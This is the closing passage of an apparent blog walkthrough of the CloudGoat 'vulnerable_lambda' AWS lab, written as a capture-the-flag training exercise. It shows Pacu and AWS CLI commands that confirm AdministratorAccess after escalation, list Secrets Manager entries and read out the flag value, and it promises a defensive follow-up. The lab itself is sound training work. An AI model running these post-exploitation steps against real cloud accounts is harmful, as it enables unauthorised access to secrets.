AWS keys in this session: 
  [1] bilbo 
  [2] vulnerable_lambda/<role_arn>/assume-role (ACTIVE
Choose an option: 1 
AWS key is now bilbo. 
Pacu (vulnerable_lambda:bilbo) >  

Checking the permissions post-exploit: 

Pacu (vulnerable_lambda:bilbo) > aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq 
{ 
    "AttachedPolicies":
        
            "PolicyName": "AdministratorAccess", 
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess" 
        
    

Success! We’ve got AdministratorAccess now linked to our user. 

I’m in! 

Mission Accomplished: Securing the Flag 

Listing the secrets and extracting the final flag is straightforward: 

Pacu (vulnerable_lambda:bilbo) > aws secretsmanager list-secrets --region us-east-1 
{ 
    "SecretList":
        
            "ARN": "arn:aws:secretsmanager:us-east-1:<account_id>:secret:vulnerable_lambda_cgidsr4kzoh3iq-final_flag-LWMwMY", 
            "Name": "vulnerable_lambda_cgidsr4kzoh3iq-final_flag", 
            "LastChangedDate": 1705914524.958
            "LastAccessedDate": 1705881600.0
            "Tags":
                
                    "Key": "Stack", 
                    "Value": "CloudGoat" 
                }, 
                
                    "Key": "Name", 
                    "Value": "cg-vulnerable_lambda_cgidsr4kzoh3iq" 
                }, 
                
                    "Key": "Scenario", 
                    "Value": "vulnerable-lambda" 
                
            ], 
            "SecretVersionsToStages": 
                "terraform-20240122090844785500000002":
                    "AWSCURRENT" 
                
            }, 
            "CreatedDate": 1705914524.298 
        
    

Now the actual value: 

Pacu (vulnerable_lambda:bilbo) > aws secretsmanager get-secret-value --secret-id vulnerable_lambda_cgidsr4kzoh3iq-final_flag --region us-east-1 
{ 
    "ARN": "arn:aws:secretsmanager:us-east-1:<account_id>:secret:vulnerable_lambda_cgidsr4kzoh3iq-final_flag-LWMwMY", 
    "Name": "vulnerable_lambda_cgidsr4kzoh3iq-final_flag", 
    "VersionId": "terraform-20240122090844785500000002", 
    "SecretString": "cg-secret-846237-284529", 
    "VersionStages":
        "AWSCURRENT" 
    ], 
    "CreatedDate": 1705914524.953 

The flag: cg-secret-846237-284529, marking the completion of this exercise. 

Conclusion 

In our CloudGoat journey, we’ve played the attacker, exploiting vulnerabilities to capture the flag. We’ve gained critical insight into how attackers operate in the cloud. 

Next, we’ll switch hats again. Join me as we embrace the blue team’s role, diving into code and infrastructure to mend the revealed gaps. We will fortify the weaknesses we utilize, turning vulnerabilities into robust defenses. 

Can we fix it? Yes we can

Stay tuned for the upcoming post! 

Need your AWS environment hacked audited? Give us a call!